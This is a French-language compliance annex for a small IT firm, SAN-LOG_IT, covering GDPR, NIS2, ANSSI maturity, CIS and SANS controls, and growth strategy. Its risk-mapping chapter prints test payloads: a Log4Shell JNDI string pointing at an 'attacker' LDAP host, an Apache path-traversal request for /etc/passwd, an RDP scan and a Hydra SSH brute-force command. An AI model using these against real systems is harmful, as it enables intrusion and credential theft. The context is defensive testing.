



SAN-log_it

30.04.2026

Auteur : Benoît Robart

Etude et exploration de l'ESN

ANNEXE B : CONFORMITÉ RGPD ET NIS2

SAN-LOG_IT

4 Rue de l'Espérance

91800 Brunoy



Sommaire — Annexe C : Conformité RGPD et NIS2

Section	Contenu	Page
—	Page de couverture	1
—	Sommaire	2
Chapitre 1	Cadre de conformité RGPD et NIS2	3
1.1	Périmètre	3
1.2	Base légale des traitements	4
1.3	Données traitées	4
1.4	Sous-traitants	5
1.5	Mesures de sécurité	5
1.6	Positionnement NIS2	6
1.7	Mesures NIS2	6
1.7.1	Distinction entre OIV / OSE et cadre NIS2	7
1.8	Gestion des incidents	7
1.8.1	Continuité d'activité et reprise opérationnelle	8
1.8.2	Articulation entre PCA, PRA, RTO et RPO	8
1.9	Niveau ANSSI	9
1.10	CIS Benchmarks	9
1.11	CNIL	10
1.12	SANS Critical Controls	10
1.13	Synthèse globale	11

Chapitre 2	Positionnement ANSSI / NIS2	13
2.1	Introduction	13
2.2	Justification du niveau ANSSI	13
2.4	Positionnement NIS2	14
2.5	Correspondance technique	15
—	Conclusion Chapitre 2	15
Chapitre 3 —	Cartographie des risques et tests	16
	Introduction	16
3.1	Vue synthétique des risques	16
3.2	Cartographie détaillée	17
3.3	Corrélation risques / supervision	18
3.4	Référentiel OWASP (sécurité applicative)	19
—	Conclusion Chapitre 3	19
Chapitre 4	Stratégie d'évolution et impact réglementaire	20
4.1	Objectif du chapitre	20
4.2	Évolution horizontale	20
4.3	Évolution verticale	21
4.4	Modèle hybride	22
4.5	Impacts réglementaires	23
4.6	Risques liés à la croissance	23
4.7	Positionnement stratégique	23
	Sources pages des textes réglementaires :	24

Chapitre 1 – Conformité RGPD et NIS2 de SAN-LOG_IT

Introduction :

Ce **chapitre** présente le cadre de conformité réglementaire applicable à **SAN-LOG_IT**, en se concentrant sur le **Règlement Général sur la Protection des Données (RGPD)** et la directive **NIS2**.

L'**objectif est de définir** précisément le périmètre des traitements réalisés par l'entreprise. L'on va **identifier** les obligations associées et analyser les mesures techniques mises en œuvre pour garantir la sécurité des systèmes et des données.

Cette **approche permet d'inscrire** les choix techniques dans un cadre juridique cohérent, en établissant un lien direct entre conformité réglementaire et architecture du système d'information.

Références institutionnelles :

CNIL : <https://www.cnil.fr/>

ANSSI : <https://cyber.gouv.fr/>

EURALEX : <https://eur-lex.europa.eu/eli/dir/2022/2555/>

<https://eur-lex.europa.eu/eli/reg/2016/679/>

LEGIFRANCE :

https://www.legifrance.gouv.fr/codes/texte_lc/LEGITEXT000006071307

1. Périmètre

Élément	Description
Entité concernée	SAN-LOG_IT (structure indépendante)
Inclus	Données internes, infrastructure, supervision
Exclu	SI clients (responsabilité distincte)
Cadre réglementaire principal	RGPD (UE 2016/679), Directive NIS2 (UE 2022/2555)

Ce qu'il faut comprendre :

Le périmètre est **volontairement restreint** aux activités internes de **SAN-LOG_IT**. Cette délimitation évite le chevauchement des **SI**. Cela limite la responsabilité des **SI** clients, qui relèvent contractuellement d'un **cadre distinct**.

2. RGPD — Base légale et traitements

Traitement	Base légale	Référence RGPD	Risque associé	Corrélation sécurité
Gestion clients	Contrat	Art. 6.1.b	Fuite de données	CVE-2021-44228 (exposition logs)
Stagiaires	Contrat	Art. 6.1.b	Accès non autorisé	Mauvaise gestion IAM
Comptabilité	Obligation légale	Art. 6.1.c	Altération données	Ransomware
Prospection	Intérêt légitime	Art. 6.1.f	Non-conformité CNIL	Spam / fuite CRM

Interprétation :

Les traitements réalisés reposent exclusivement sur des bases légales (**contrat, obligation légale, intérêt légitime**). Cela limite le risque de non-conformité. L'absence de traitement de données sensibles réduit significativement l'exposition réglementaire.

3. Données traitées : Justification de la centralisation et du cloisonnement.

Catégorie	Données	Durée	Référence légale	Risque	Exemple CVE
Clients	Identité, contact, SIRET	3 ans	Principe minimisation (Art.5)	Exfiltration	CVE-2019-0708
Stagiaires	CV, convention	1 an	Licéité traitement	Divulgarion	Mauvaise ACL
Comptabilité	Factures	10 ans	Code commerce	Altération	Ransomware
Logs	IP, actions	12 mois	CNIL recommandations	Surveillance excessive	Log poisoning

Analyse :

La durée de conservation respecte :

- RGPD (minimisation — [article 5](#))
- Obligations légales (comptabilité).

Limites :

Les logs techniques = **risque principal** :

- Peuvent être exploités en cas de fuite.
- Contient **IP + actions**.

4. Sous-traitants

Acteur	Type	Localisation	Garantie RGPD	Risque
Infomaniak	Cloud	Suisse	Adéquation UE	Dépendance fournisseur
OVHcloud	Backup	France	RGPD natif	Panne infrastructure
GitHub	CI/CD	US	DPA Microsoft	Fuite code
NAS Synology	Local	Interne	Contrôle total	Accès physique

Interprétation :

Le choix de fournisseurs situés en **UE** ou en **Suisse** permet :

- **Conformité RGPD** (transferts encadrés).
- **Réduction** du risque **juridique** lié au **Cloud Act**.

Limite : Dépendance technique aux fournisseurs (notamment cloud)

5. Mesures de sécurité **RGPD**

Exigence (Art.32 RGPD)	Implémentation	Niveau	Référence technique
Chiffrement	TLS 1.3	Élevé	RFC 8446
Contrôle d'accès	SSH + clés RSA	Élevé	CIS Benchmark
Journalisation	Wazuh + Loki	Élevé	SIEM
Sauvegarde	NAS + test mensuel	Élevé	PRA
Segmentation	VLAN + firewall	Élevé	NIS2 Art.21

Lecture technique : Les mesures mises en place couvrent les trois piliers.

- **Confidentialité** → chiffrement TLS + contrôle accès
- **Intégrité** → journalisation + sauvegarde
- **Disponibilité** → PRA + supervision

Conclusion : Le niveau de sécurité est cohérent avec une PME.

6. NIS2 — Positionnement

Critère	Statut	Référence NIS2	Interprétation
Entité essentielle	✗	Art. 3	Hors seuil
Entité importante	✗	Art. 3	Hors périmètre
Sous-traitant critique	⚠	Art. 28	Dépend client

Interprétation : SAN-LOG_IT n'est pas soumis à NIS2. Elle a une posture professionnelle qui est de nature stratégique de type **compliance-ready**.

Cela permet :

- D'intervenir chez des clients régulés.
- D'anticiper les exigences futures

7. Mesures NIS2 appliquées

Exigence NIS2	Implémentation	Référence	Corrélation attaque
Gestion des risques	Matrice impact/proba	Art.21	APT
Détection	Suricata + Wazuh	Art.21	Intrusion réseau
Supervision	Prometheus/Grafana	Art.21	Déni de service
Logs centralisés	Loki	Art.23	Forensic
Tests sécurité	JMeter + Kali	Art.21	Exploitation CVE
Gestion incident	Playbook	Art.23	Réponse SOC

Ce qu'il faut comprendre : L'ensemble des mesures couvrent déjà les exigences clés de l'article.21, car il y a :

- Gestion des risques.
- Détection.
- Réponse.

Point fort : Approche alignée SOC (Security Operations Center).

7.1 Distinction entre OIV / OSE et cadre NIS2 :

Acronyme	Définition	Cadre juridique	Portée
OIV	Opérateur d'Importance Vitale	Code de la Défense / LPM	Protection des intérêts stratégiques nationaux
OSE	Opérateur de Services Essentiels	Directive NIS / transposition française	Continuité des services critiques économiques et sociaux

Lecture réglementaire :

Les OIV relèvent principalement du **droit français** et concernent les infrastructures critiques pour la nation (énergie, santé, eau, télécommunications, transport).

Les OSE relèvent de la **directive européenne NIS puis NIS2**, visant à renforcer la résilience des systèmes d'information essentiels à l'économie et à la société.

Positionnement SAN-LOG_IT :

SAN-LOG_IT n'appartient pas directement à ces catégories mais adopte une posture **"compliance-ready"**, permettant d'intervenir auprès d'organisations soumises à ces exigences réglementaires.

8. Procédure incident

Délai	Action	Référence NIS2	Risque couvert
24h	Notification	Art.23	Impact initial
72h	Rapport	Art.23	Analyse
1 mois	Rapport final	Art.23	Récurrence

Analyse : La structuration en **3 temps (24h / 72h / 1 mois)** est conforme à **NIS2**.

Limite : Procédure non testée en conditions réelles.
Dépendance à une seule personne (gérant).

8.1 Continuité d'activité et reprise opérationnelle :

Indicateur	Définition	Objectif SAN-LOG_IT	Finalité
RTO (Recovery Time Objective)	Temps maximal acceptable d'interruption d'un service	< 4 heures	Réduction de l'impact opérationnel
RPO (Recovery Point Objective)	Volume maximal de données pouvant être perdues	< 24 heures	Limitation des pertes de données

Lecture opérationnelle :

Le **RTO** et le **RPO** constituent des indicateurs clés du plan de continuité et de reprise d'activité.

Ils permettent d'évaluer la capacité de **SAN-LOG_IT** à maintenir ou restaurer les services critiques en cas d'incident technique, d'attaque ou de défaillance d'infrastructure.

Corrélation technique :

- Sauvegardes NAS.
- Centralisation des logs.
- Supervision Prometheus/Grafana.
- PRA & PCA.
- Segmentation réseau.
- Procédures de restauration.

8.2 Articulation entre PCA, PRA, RTO et RPO :

Acronyme	Sens	Nature
PRA	Plan de Reprise d'Activité	Procédure / stratégie globale
PCA	Plan de Continuité d'Activité	Maintien des services pendant incident
RTO	Recovery Time Objective	Objectif de temps de reprise
RPO	Recovery Point Objective	Objectif de perte de données acceptable

Le **PRA** définit les procédures de reprise après incident, tandis que les indicateurs **RTO** et **RPO** permettent de mesurer respectivement le délai maximal d'interruption acceptable et la quantité maximale de données pouvant être perdues.

9. ANSSI — Niveau de maturité

Domaine	Niveau	Référence ANSSI	Écart
Réseau	3/5	Guide PME	Conforme
Supervision	3/5	SIEM	Conforme
Postes	2/5	Hygiène	À renforcer
Sensibilisation	2/5	Formation	Manquant

Justification : Le **niveau 3** est atteint grâce à

- Segmentation réseau.
- Supervision active.
- Journalisation.

Limite vers niveau 4 :

- Absence de PSSI formalisée et d'un DSI.
- Pas d'audit externe, nécessaire si l'on veut obtenir une homologation (EBIOS) et des reconnaissances ISO 27K.

10. CIS Benchmarks

Système	Niveau	Référence	Risque couvert
Ubuntu 24.04	Level 1	CIS	Mauvaise configuration
Debian 12	Level 1	CIS	Service exposé
Windows	Level 1	CIS	AD compromis

Lecture technique : Application du niveau 1

- Durcissement de base.
- Réduction des surfaces d'attaque.

Limite : Pas encore homogène sur tous les systèmes.

11. CNIL

Critère	Statut	Action
Données sensibles	Non	Aucun
Volume >5000	Non	Surveiller
DPO	✗	À formaliser

Interprétation : Aucune obligation forte à ce stade, mais nécessité d'anticiper une montée en charge.

Point à corriger : Formalisation du DPO

12. SANS Critical Controls

Contrôle	Statut	Risque
CSC 1	Partiel	Actifs inconnus
CSC 2	✗	Shadow IT (PC fantômes)
CSC 4	OK	Privilèges
CSC 6	OK	Logs
CSC 12	OK	Réseau

Analyse : Les contrôles critiques sont partiellement couverts, notamment :

- Gestion des accès.
- Journalisation.
- Défense réseau.

Point faible majeur : inventaire logiciel absent (CSC 2).

13. Synthèse globale

Domaine	Niveau	Risque	Priorité
RGPD	Bon	Faible	Faible
NIS2	Anticipé	Moyen	Moyen
ANSSI	Niveau 3	Moyen	Élevé
CIS	Partiel	Moyen	Moyen
SANS	Partiel	Moyen	Moyen

Lecture technique et opérationnel

- Position actuelle : **niveau intermédiaire (ANSSI 3)**
- Points forts :
 - Supervision active
 - Segmentation réseau
 - Journalisation centralisée
- Faiblesses :
 - Formalisation (PSSI, DPO)
 - Sécurisation poste utilisateur
 - Inventaire logiciel

Amélioration immédiate (ingénierie)

Action	Impact	Complexité
Déployer inventaire Wazuh	Élevé	Faible
Formaliser PSSI	Élevé	Moyen
Audit externe	Élevé	Moyen
Durcissement poste admin	Critique	Faible

Conclusion de cette analyse :

L'analyse du cadre **RGPD** et **NIS2** met en évidence que **SAN-LOG_IT** adopte une approche maîtrisée et proportionnée de la conformité.

Les **traitements de données** sont limités, encadrés et reposent sur des bases légales solides, tandis que les mesures techniques mises en œuvre permettent d'assurer un niveau de sécurité cohérent avec les exigences du **RGPD**.

L'entreprise **n'est pas directement** soumise à la directive **NIS2**, elle anticipe ses exigences en intégrant des mécanismes de supervision, de journalisation et de gestion des incidents.

Cette **posture proactive** permet de positionner **SAN-LOG_IT** comme un prestataire capable d'intervenir dans des environnements réglementés, tout en maintenant une approche adaptée **aux contraintes des PME**.

Le **principal axe d'amélioration** identifié concerne la formalisation des processus (**DPO, documentation**), condition nécessaire pour atteindre un niveau de maturité supérieur.

Référentiel / Texte	Niveau	Objet principal
RGPD — Règlement (UE) 2016/679	Union européenne	Protection des données personnelles
Directive NIS2 — (UE) 2022/2555	Union européenne	Résilience et cybersécurité des SI
LPM / Code de la Défense	France	Protection des infrastructures critiques (OIV)
Recommandations CNIL	France	Bonnes pratiques conformité et traitement des données
Référentiels ANSSI	France	Hygiène SSI, durcissement et gouvernance sécurité

Ces **référentiels** constituent le **socle réglementaire** et opérationnel utilisé pour positionner **SAN-LOG_IT** dans une démarche de conformité et de sécurisation progressive des infrastructures.

Chapitre 2 — Positionnement ANSSI / NIS2 **Argumentaire technique**

Introduction :

Ce chapitre vise à positionner **le niveau de maturité** de SAN-LOG_IT au regard des référentiels ANSSI et des exigences de la directive NIS2.

L'**objectif** n'est pas uniquement de démontrer une conformité théorique, mais d'**évaluer** dans quelle mesure les **pratiques techniques mises en œuvre** s'inscrivent dans un **cadre structuré de cybersécurité**.

Cette **analyse** permet de situer l'entreprise dans une trajectoire d'évolution, entre un socle opérationnel existant (**niveau ANSSI 3**) et des exigences plus avancées nécessitant une formalisation accrue (niveau 4 et au-delà).

1. Justification du niveau ANSSI (niveau 3 atteint) :

Axe ANSSI	Exigence	Implémentation SAN-LOG_IT	Justification technique
Hygiène SI	Mises à jour, durcissement	unattended-upgrades, CIS L1	Conforme aux recommandations de base
Segmentation	Cloisonnement réseau	VLAN + firewall (UFW / règles filtrage)	Réduction surface d'attaque latérale
Supervision	Détection d'événements	Wazuh + Loki + Prometheus	Couverture logs + métriques
Contrôle d'accès	Gestion privilèges	SSH par clef, pas de root direct	Limitation compromission
Journalisation	Traçabilité	Centralisation logs 12 mois	Aligné ANSSI + RGPD

Conclusion : Le **niveau 3** est justifié par la présence combinée

- Supervision **active**.
- Segmentation **réseau**.
- Journalisation **exploitable**.

2. Limite vers niveau ANSSI 4 :

Exigence niveau 4	État actuel	Écart
PSSI formalisée	Partielle	Documentation insuffisante
Audit régulier	Non systématique	Absence d'audit externe
Gestion des risques formalisée	Présente mais simplifiée	Méthode type EBIOS non complète
Sensibilisation	Informelle	Non tracée

Point critique : absence de formalisation et traçabilité documentaire (exigence majeure ANSSI).

3. Positionnement NIS2 :

Critère NIS2	Analyse	Conclusion
Taille entreprise	< 50 employés	Hors seuil
Chiffre d'affaires	< 10 M€	Hors seuil
Secteur critique	Non	Hors périmètre direct
Rôle fournisseur	Possible	Risque indirect

Argument principal :

SAN-LOG_IT n'est pas soumis directement à NIS2, mais adopte une posture "compliance-ready" :

- Anticipation des exigences de l'Article 21 (mesures techniques).
- Capacité à opérer pour des clients soumis NIS2.
- Alignement sur logique SOC (détection + réponse).

4. Correspondance technique avec NIS2 (Art. 21)

Exigence NIS2	Implémentation	Niveau
Gestion des risques	Matrice impact/probabilité	Partiel
Détection incidents	Wazuh / Suricata	Élevé
Continuité	Sauvegardes NAS	Élevé
Gestion accès	SSH + segmentation	Élevé
Sécurité supply chain	Sous-traitants UE	Moyen

Conclusion de cette analyse :

SAN-LOG_IT atteint un niveau de maturité intermédiaire (**ANSSI niveau 3**),

- Qui est caractérisé par une maîtrise des mécanismes techniques de sécurité : **segmentation réseau / supervision et journalisation**.

Toutefois, l'écart avec un niveau supérieur ne repose **pas** sur des **lacunes techniques**, mais sur un **déficit de formalisation** (**PSSI, audit externe, gestion documentaire**).

Concernant **NIS2**, bien que l'entreprise ne soit **pas directement soumise** à la directive, elle **adopte** une **posture proactive** dite *compliance-ready*, lui permettant d'intervenir dans des environnements régulés.

Cette **position** constitue un **levier stratégique**, en anticipant les exigences futures du marché et en renforçant la crédibilité de l'entreprise auprès de clients soumis à des contraintes réglementaires.

Chapitre 3 — Cartographie des risques SI → Corrélation CVE → Tests (JMeter / Kali)

Introduction :

Ce chapitre propose une **cartographie des risques techniques** associés aux **infrastructures systèmes et réseaux**, en les reliant à des **vulnérabilités connues (CVE)** et à des scénarios de test concrets.

Objectif double :

- Illustrer les **menaces réelles** auxquelles une **infrastructure PME** peut être exposée,
- Démontrer la capacité de SAN-LOG_IT à **simuler, détecter et corriger** ces vulnérabilités à travers des **outils** tels que **JMeter et Kali Linux**.

Cette approche s'inscrit dans une **logique d'ingénierie de sécurité**, où le risque est **testé et mesuré** plutôt que simplement théorisé.

1. Vue synthétique

Risque	Type	CVE associé	Surface	Test réalisable
Injection / RCE	Applicatif	CVE-2021-44228	API / logs	Requêtes fuzzées (JMeter)
Exécution distante	OS	CVE-2019-0708	RDP	Scan + exploit (Kali)
Mauvaise config HTTP	Web	CVE-2021-41773	Serveur web	Requêtes GET manipulées
Bruteforce SSH	Accès	N/A (pattern attaque)	SSH	Hydra / script
Fuite d'information	Logs	Log injection	SIEM	Payload JSON malveillant
DoS / saturation	Infra	N/A	API / réseau	Charge JMeter

Acronyme

Définition

traduction

N/A

Non Applicable

Ne s'applique pas ici

2. Cartographie détaillée (à exploiter en test)

A. Risque : Injection / RCE

Injection : manipulation des entrées d'une application.

RCE : exécution de code à distance → compromission totale.

Élément	Détail
Type	Exécution de code
CVE	CVE-2021-44228
Impact	Compromission totale serveur
Test JMeter	Injection payload <code>\${jndi:ldap://attacker}</code>
Détection	Wazuh (pattern logs)
Correction	Filtrage + patch

B. Risque : Mauvaise configuration serveur

Élément	Détail
CVE	CVE-2021-41773
Impact	Accès fichiers sensibles
Test	<code>GET /cgi-bin/./%2e/./%2e/./%2e/etc/passwd</code>
Avec :	Outil comme curl / Burp / JMeter
Correction avec	Patch Apache

C. Risque : Accès distant non sécurisé

Élément	Détail
CVE	CVE-2019-0708
Impact	Prise de contrôle
Test Kali	<code>nmap -p 3389 --script rdp-vuln-ms12-020</code>
Correction	Désactivation RDP / patch

D. Risque : Bruteforce

Élément	Détail
Type	Attaque par dictionnaire
Test	hydra -l user -P rockyou.txt ssh://target
Détection	Fail2Ban
Correction	MFA + rate limiting

E. Risque : Dénî de service (DoS)

Élément	Détail
Type	Saturation
Test JMeter	Thread group élevé
Indicateur	CPU / latence
Détection	Prometheus
Correction	Rate limiting

3. Corrélation Risque → Supervision (architecture existante)

Risque	Détection	Outil
RCE	Logs anomalies	Wazuh
Intrusion réseau	Signature IDS	Suricata
DoS	Métriques	Prometheus
Bruteforce	Logs SSH	Fail2Ban
Fuite données	Analyse logs	Loki

4 — Référentiel OWASP (sécurité applicative)

En complément des mesures d'infrastructure (segmentation, supervision, journalisation), SAN-LOG_IT intègre les recommandations de l'OWASP Top 10 afin de couvrir les vulnérabilités applicatives.

Cette approche permet d'assurer une cohérence de la sécurité sur l'ensemble des couches du système d'information, depuis le réseau jusqu'aux applications web.

Synthèse :

Risque OWASP	Mesure mise en œuvre
Injection	Validation des entrées + filtrage
Authentification	MFA + gestion des accès
Données sensibles	TLS 1.3
Configuration	CIS Benchmarks
Accès	Segmentation + RBAC
Logs	Wazuh + Loki

RBAC (Role-Based Access Control) = contrôle d'accès basé sur les rôles.

Conclusion de cette analyse :

La cartographie des risques met en évidence que les menaces principales ne proviennent pas uniquement des vulnérabilités critiques (CVE), mais également des erreurs de configuration, des défauts de segmentation ou des mécanismes d'authentification insuffisants.

L'intégration de scénarios de test permet de valider concrètement la robustesse des infrastructures, en transformant des risques théoriques en situations mesurables.

L'approche SAN-LOG_IT, consiste à intégrer toutes les chaînes causales allant des vulnérabilités, tests et supervision pour comprendre et agir.

Cela constitue le caractère différenciant de cette entreprise en rapprochant les pratiques d'un modèle opérationnel de type SOC (Security Operations Center).

La sécurité ne repose pas uniquement sur des outils, mais sur une démarche continue d'évaluation, de validation et d'amélioration.

Chapitre 4 — Stratégie d'évolution et impact réglementaire

1. Objectif du chapitre

Ce chapitre vise à définir les trajectoires d'évolution possibles de **SAN-LOG_IT**, en tenant compte des contraintes techniques, juridiques et réglementaires.

L'analyse distingue deux axes principaux :

- une évolution structurelle de l'entreprise (horizontalité),
- une spécialisation des services (verticalité).

Chaque trajectoire implique des impacts en matière de gouvernance, de conformité et de sécurité.

2. Axe 1 — Évolution horizontale (croissance structurelle)

Évolution	Impact organisationnel	Impact juridique	Impact réglementaire
TPE → PME	Structuration équipe	Passage EI → SASU / SAS	RGPD renforcé
PME → PMI	Multi-clients	Responsabilité contractuelle accrue	NIS2 possible (indirect)
ESN structurée	Processus internes	Gouvernance formalisée	ISO 27001 envisageable

Lecture stratégique :

Cette trajectoire vise à transformer **SAN-LOG_IT** d'une structure individuelle en une entité organisée capable de gérer plusieurs clients simultanément.

Conséquences majeures :

- Nécessité d'une **PSSI formelle**.
- Mise en place de **procédures documentées**.
- Gestion multi-projets et multi-risques.



3. Axe 2 — Évolution verticale (spécialisation technique) :

3.1 Sécurité opérationnelle (SIEM / SOC¹)

Domaine	Évolution
SIEM	Développement de règles spécifiques (Wazuh / Suricata)
Détection	Corrélation avancée d'événements
Réponse	Automatisation (playbooks)

Lecture : Passage d'une supervision passive à une **logique SOC (Security Operations Center)**.

3.2 IA spécialisée (hors LLM)

Application	Objectif
Détection d'anomalies	Analyse comportementale
Corrélation logs	Réduction faux positifs
Modélisation incidents	Anticipation

Positionnement : IA embarquée, ciblée, non générative → **approche industrielle**.

3.3 Voie opérationnelle (services spécialisés) :

Service	Finalité
Training	Formation client
Installation	Déploiement standardisé
Pentest ciblé	Validation sécurité

Lecture : Création d'une offre modulaire → **industrialisation progressive**.

¹ **SOC** = Security Operations Center



4. Axe 3 — Modèle hybride (recommandé) :

La trajectoire la plus cohérente consiste à combiner :

- Une croissance horizontale **contrôlée**,
- Une spécialisation verticale **progressive**.

Structure	SASU → SAS
Technique	SOC léger + SIEM évolutif
Business	Offre modulaire
Réglementaire	Anticipation NIS2

SASU = Société par Actions Simplifiée Unipersonnelle

Forme de société avec **un seul associé**, une version “solo” de la SAS.

Caractéristiques :

Responsabilité	Limitée aux apports
Dirigeant	Président
Régime social	Assimilé salarié
Fiscalité	IS (option IR possible temporairement)

SAS = Société par Actions Simplifiée

Société avec **plusieurs associés**, structure flexible pour développer une entreprise

Caractéristiques :

Associés	2 ou plus
Responsabilité	Limitée aux apports
Gouvernance	Très flexible (statuts)
Dirigeant	Président (et autres possibles)
Fiscalité	IS

IS = Impôt sur les Sociétés

IR = Impôt sur le Revenu

5. Impacts réglementaires de l'évolution :

Niveau	Exigence
RGPD	Registre + DPO + traçabilité
NIS2	Obligations indirectes (clients)
ANSSI	Niveau 4 (formalisation)
ISO 27001	Certification possible

Point clé : Plus l'entreprise grandit, plus la contrainte devient **organisationnelle plutôt que technique**.

6. Risques liés à la croissance :

Risque	Description
Perte de contrôle	Complexité multi-clients
Dette technique	Mauvaise standardisation
Non-conformité	Retard réglementaire
Dépendance humaine	Concentration des compétences

7. Positionnement stratégique retenu :

SAN-LOG_IT adopte une stratégie progressive basée sur :

- Une consolidation technique (**ANSSI** niveau 3 → 4),
- Une formalisation documentaire (**PSSI**, procédures),
- Une évolution juridique vers une structure adaptée (**SASU**),
- Une montée en compétence vers des services de sécurité avancés.

Cette approche permet de maintenir un équilibre entre maîtrise technique, croissance et conformité.



Sources pages des textes réglementaires :

NIS2 :

<https://cyber.gouv.fr/reglementation/cybersecurite-systemes-dinformation/directives-nis-nis2-et-dispositif-saiv/directive-nis-2/>

RGPD :

<https://www.cnil.fr/fr/reglement-europeen-protection-donnees>

<https://www.economie.gouv.fr/entreprises/gerer-son-entreprise-au-quotidien/assurer-sa-cybersecurite-et-la-protection-de-ses/le#:~:text=dit%20la%20loi-,Le%20RGPD%2C%20qu%27est%2Dce%20que%20c%27est,dans%20toute%20l%27Union%20europ%C3%A9enne.>

DSA :

https://learning-corner.learning.europa.eu/learning-materials/digital-services-act-dsa-explained_fr

<https://www.economie.gouv.fr/actualites/numerique-dsa-entre-en-vigueur>

CIS Benchmarks :

<https://www.cisecurity.org/cis-benchmarks>

<https://www.cisecurity.org/cybersecurity-tools/mapping-compliance/mapping-and-compliance-with-the-cis-benchmarks>

SANS Critical Controls :

<https://www.sans.org/blog/cis-controls-v8>

<https://www.dragos.com/blog/the-sans-ics-five-critical-controls-a-practical-framework-for-ot-cybersecurity/>